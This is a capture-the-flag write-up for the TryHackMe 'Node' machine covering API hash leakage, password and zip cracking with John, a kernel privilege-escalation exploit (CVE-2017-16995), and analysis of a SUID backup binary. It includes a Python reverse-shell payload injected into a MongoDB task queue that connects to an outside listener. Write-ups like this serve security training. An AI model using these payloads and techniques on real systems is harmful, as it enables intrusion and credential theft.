TryHackMe-Node-1
Node 1
Node is a medium level boot2root challenge, originally created for HackTheBox.
Node is a medium level boot2root challenge. There are two flags to find (user and root flags) and requried you to use multiple technologies to exploit.
#1 - What is the user flag?
Hint: passwd of the user
Nmap
Nmap discovers 2 open ports:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA) | 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA) |_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519) 3000/tcp open hadoop-tasktracker Apache Hadoop | hadoop-datanode-info: |_ Logs: /login | hadoop-tasktracker-info: |_ Logs: /login |_http-title: MyPlace Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Sources analysis
After spending some time searching for hidden files/directories, trying SQL injection in the login form, trying to brute force the accounts, I eventually browsed the application trough BurpSuite and analyzed the requests (I should have probably started here).
Notice that there are several javascript files included in the main page:
$ curl -s http://10.10.86.179:3000 | tail <script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script> <script type="text/javascript" src="vendor/angular/angular.min.js"></script> <script type="text/javascript" src="vendor/angular/angular-route.min.js"></script> <script type="text/javascript" src="assets/js/app/app.js"></script> <script type="text/javascript" src="assets/js/app/controllers/home.js"></script> <script type="text/javascript" src="assets/js/app/controllers/login.js"></script> <script type="text/javascript" src="assets/js/app/controllers/admin.js"></script> <script type="text/javascript" src="assets/js/app/controllers/profile.js"></script> <script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script> </html>
On of them is particularly interesting because he’s responsible for displaying the last users (tom, mark, rastating) on the home page:
$ curl -s http://10.10.86.179:3000/assets/js/app/controllers/home.js var controllers = angular.module('controllers'); controllers.controller('HomeCtrl', function ($scope, $http) { $http.get('/api/users/latest').then(function (res) { $scope.users = res.data; }); });
Making the request ourselves reveals that the results are showing all fields, including the id, username, password hash and an admin flag:
$ curl -s http://10.10.86.179:3000/api/users/latest [{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
What happens if we do the same request without the trailing /latest
at the end of the request? We get the full list of users, instead of just the latest:
$ curl -s http://10.10.86.179:3000/api/users [{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
Cracking the passwords
Either search for the hashes on the Internet, or crack them with John:
$ /data/src/john/run/john hashes.txt --wordlist=/data/src/wordlists/rockyou.txt --format=Raw-SHA256 Using default input encoding: UTF-8 Loaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x]) Warning: poor OpenMP scalability for this hash type, consider --fork=8 Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status spongebob (?) manchester (?) snowflake (?) 3g 0:00:00:01 DONE (2020-06-25 09:29) 2.343g/s 11205Kp/s 11205Kc/s 11512KC/s -sevil2605-..*7¡Vamos! Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably Session completed.
Eventually, you should be able to retrieve all of them but 1:
id | username | password hash | is_admin | Cracked password |
---|---|---|---|---|
59a7365b98aa325cc03ee51c | myP14ceAdm1nAcc0uNT | dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af | true | manchester |
59a7368398aa325cc03ee51d | tom | f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 | false | spongebob |
59a7368e98aa325cc03ee51e | mark | de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 | false | snowflake |
59aa9781cced6f1d1490fce9 | rastating | 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 | false | ??? |
Trying to connect as non-admin users (is_admin
set to false
) leads nowhere, but the admin account (myP14ceAdm1nAcc0uNT
) reveals a backup file:
The file is a a base64 encoded string, and zip-protected archive:
$ cat myplace.backup | base64 -d > backup.zip $ unzip backup.zip Archive: backup.zip creating: var/www/myplace/ [backup.zip] var/www/myplace/package-lock.json password:
Let’s use John once again to crack the zip archive’s password:
$ /data/src/john/run/zip2john backup.zip > backup.hash $ /data/src/john/run/john backup.hash --wordlist=/data/src/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status magicword (backup.zip) 1g 0:00:00:00 DONE (2020-06-25 10:13) 16.66g/s 3276Kp/s 3276Kc/s 3276KC/s sandrad..pigglett Use the "--show" option to display all of the cracked passwords reliably Session completed.
The uncompressed archive reveals many file, but the app.js
script at the root of var/www/myplace/
reveals mark’s credentials in clear text:
$ head -n 12 var/www/myplace/app.js const express = require('express'); const session = require('express-session'); const bodyParser = require('body-parser'); const crypto = require('crypto'); const MongoClient = require('mongodb').MongoClient; const ObjectID = require('mongodb').ObjectID; const path = require("path"); const spawn = require('child_process').spawn; const app = express(); const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace'; const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
User password: 5AYRft73VtFpc84k
You can now connect to SSH as mark with the password 5AYRft73VtFpc84k
.
#2 - What is the root flag?
The easy way
The machine is running Ubuntu 16.04.3
with a an old kernel (4.4.0-93
):
mark@node:/tmp$ cat /etc/issue Ubuntu 16.04.3 LTS \n \l mark@node:/tmp$ uname -a Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Find an exploit:
$ searchsploit ubuntu 16.04 privilege escalation ------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------ --------------------------------- Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation | linux/local/40054.c LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privilege Escalation | linux/local/41923.txt Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / Ce | linux_x86-64/local/42275.c Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso | linux_x86/local/42276.c Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploit) | linux/local/40759.rb Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privile | linux_x86-64/local/40871.c Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Pr | linux_x86-64/local/40049.c Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Con | linux/local/47170.c Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege E | linux/local/39772.txt Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Local Privilege Escalat | linux/local/40489.txt Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privil | linux/local/44300.c Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalat | linux/local/43418.c Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Loc | linux/local/47169.c ------------------------------------------------------------------------------------ --------------------------------- Shellcodes: No Results
After trying several exploits, I successfully rooted the machine with 45010.c
which exploits CVE-2017-16995
.
mark@node:/tmp$ gcc 45010.c -o exploit mark@node:/tmp$ ./exploit [.] [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) [.] [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** [.] [*] creating bpf map [*] sneaking evil bpf past the verifier [*] creating socketpair() [*] attaching bpf backdoor to socket [*] skbuff => ffff8800356ce500 [*] Leaking sock struct from ffff88003aa10800 [*] Sock->sk_rcvtimeo at offset 472 [*] Cred structure at ffff880036e060c0 [*] UID from cred structure: 1001, matches the current: 1001 [*] hammering cred structure at ffff880036e060c0 [*] credentials patched, launching shell... # id uid=0(root) gid=0(root) groups=0(root),1001(mark) # cat /root/root.txt 1722e99ca5f353b362556a62bd5e6be0
The hard way (still incomplete)
We can see several users under the /home
directory (frank, mark, tom). A user.txt
file appears in tom’s home directory, but we can’t read it:
mark@node:~$ ls -l /home/tom/ total 4 -rw-r----- 1 root tom 33 Sep 3 2017 user.txt
MongoDB: Lateral move (mark->tom)
Using pspy
, I was able to identify an interesting scheduled job (/var/scheduler/app.js
) started by nodejs.
$ ./pspy64 [REDACTED] 2020/06/25 12:04:40 CMD: UID=1000 PID=1142 | /usr/bin/node /var/www/myplace/app.js 2020/06/25 12:04:40 CMD: UID=0 PID=1140 | /usr/sbin/sshd -D 2020/06/25 12:04:40 CMD: UID=65534 PID=1134 | /usr/bin/mongod --auth --quiet --config /etc/mongod.conf 2020/06/25 12:04:40 CMD: UID=1000 PID=1131 | /usr/bin/node /var/scheduler/app.js [REDACTED]
This script is executed by tom, which would allow us to move to tom (lateral move) if we can exploit it.
Having a look at the script reveals mark’s credentials in clear, to connect to MongoDB. We also confirm that the job is scheduled to run every 30,000 milliseconds (i.e. 30 seconds).
$ cat /var/scheduler/app.js const exec = require('child_process').exec; const MongoClient = require('mongodb').MongoClient; const ObjectID = require('mongodb').ObjectID; const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler'; MongoClient.connect(url, function(error, db) { if (error || !db) { console.log('[!] Failed to connect to mongodb'); return; } setInterval(function () { db.collection('tasks').find().toArray(function (error, docs) { if (!error && docs) { docs.forEach(function (doc) { if (doc) { console.log('Executing task ' + doc._id + '...'); exec(doc.cmd); db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) }); } }); } else if (error) { console.log('Something went wrong: ' + error); } }); }, 30000); });
The script reveals the structure:
- connection string:
mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler
- collection:
tasks
(db.collection('tasks').find()
) - field:
cmd
(exec(doc.cmd)
)
Let’s connect and insert an entry that will execute a reverse shell (make sure you open a listener on your machine: rlwrap nc -nlvp 4444
).
$ mongo "mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler" MongoDB shell version: 3.2.16 connecting to: mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler > db.collections scheduler.collections > db scheduler > show collections tasks > db.tasks.insert({"cmd":"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.9.0.54\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})
In less than 30 seconds, we have a reverse shell, and we are connected as tom
. Let’s get the flag (notice that this flag was not needed for this challenge though, as we were requested to provide mark’s password instead).
$ rlwrap nc -nlvp 4444 tom@node:/$ whoami tom tom@node:~$ cat /home/tom/user.txt e1156acc3574e04b06908ecf76be91b1
User flag: e1156acc3574e04b06908ecf76be91b1
Reverse engineering
This part is still incomplete and open for discussion.
Searching for files owned by root with the SUID bit set reveals an interesting program:
tom@node:/tmp$ find / -type f -user root -perm -u=s 2>/dev/null find / -type f -user root -perm -u=s 2>/dev/null /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/local/bin/backup <----------------------- Interesting! /usr/bin/chfn /usr/bin/gpasswd /usr/bin/newgidmap /usr/bin/chsh /usr/bin/sudo /usr/bin/pkexec /usr/bin/newgrp /usr/bin/passwd /usr/bin/newuidmap /bin/ping /bin/umount /bin/fusermount /bin/ping6 /bin/ntfs-3g /bin/su /bin/mount
The file is owned by root
, and members of the group admin
(which we are) may execute the program.
tom@node:/tmp$ ls -l /usr/local/bin/backup ls -l /usr/local/bin/backup -rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup tom@node:/tmp$ file /usr/local/bin/backup file /usr/local/bin/backup /usr/local/bin/backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
I gathered the file on my workstation and started to analyze it in IDA Pro
and gdb
. After 1 hour, I was able to understand the program’s logic, and use it.
- The program starts by checking the number of arguments (3 args required):
- It also checks that the 1st arg is
-q
- It makes sure there is a
/etc/myplace/keys
$ cat /etc/myplace/keys a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 tom@node:/tmp$
- then it checks that the value given to the
-q
arg is a valid key (one of the keys from the key file):
- Then, there is a complete serie of tests to make sure that the last argument (an expected file path) does not contain some characters (to avoid injection):
..
,/root
,;
,"
,$
, … If one of the test fails, the program will replace the file with a junk content.
- The file is then zip with the password
magicword
and later encoded in base64.
Exploiting the binary
With all the information collected above, I was able to successfully run the following test (normal conditions):
Create a test file and run the program with the expected args.
tom@node:/tmp$ echo "this is a test" > test.txt tom@node:/tmp$ /usr/local/bin/backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /tmp/test.txt UEsDBAoACQAAACex2VASEwVyGwAAAA8AAAAMABwAdG1wL3Rlc3QudHh0VVQJAAN6EvVeehL1XnV4CwABBOgDAAAE6AMAAG2BgPMFIlK+otennNG+LgA39LKvp9jKIWgXplBLBwgSEwVyGwAAAA8AAABQSwECHgMKAAkAAAAnsdlQEhMFchsAAAAPAAAADAAYAAAAAAABAAAApIEAAAAAdG1wL3Rlc3QudHh0VVQFAAN6EvVedXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAUgAAAHEAAAAAAA==
It results in a base64 encoded string that I’m able to decode, and unzip the archive:
tom@node:/tmp$ echo "UEsDBAoACQAAACex2VASEwVyGwAAAA8AAAAMABwAdG1wL3Rlc3QudHh0VVQJAAN6EvVeehL1XnV4CwABBOgDAAAE6AMAAG2BgPMFIlK+otennNG+LgA39LKvp9jKIWgXplBLBwgSEwVyGwAAAA8AAABQSwECHgMKAAkAAAAnsdlQEhMFchsAAAAPAAAADAAYAAAAAAABAAAApIEAAAAAdG1wL3Rlc3QudHh0VVQFAAN6EvVedXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAUgAAAHEAAAAAAA==" | base64 -d > test.zip tom@node:/tmp$ unzip test.zip unzip test.zip Archive: test.zip [test.zip] tmp/test.txt password: magicword extracting: tmp/test.txt tom@node:/tmp$ cat /tmp/tmp/test.txt this is a test
This is where I stopped, and don’t know how to inject content to bypass the blacklisted strings.
However, I’ve been able to complete the challenge, exploiting CVE-2017-16995
. Super interesting challenge!
Comments
Keywords: ctf tryhackme mongdb john CVE-2017-16995 reversing binary exploitation injection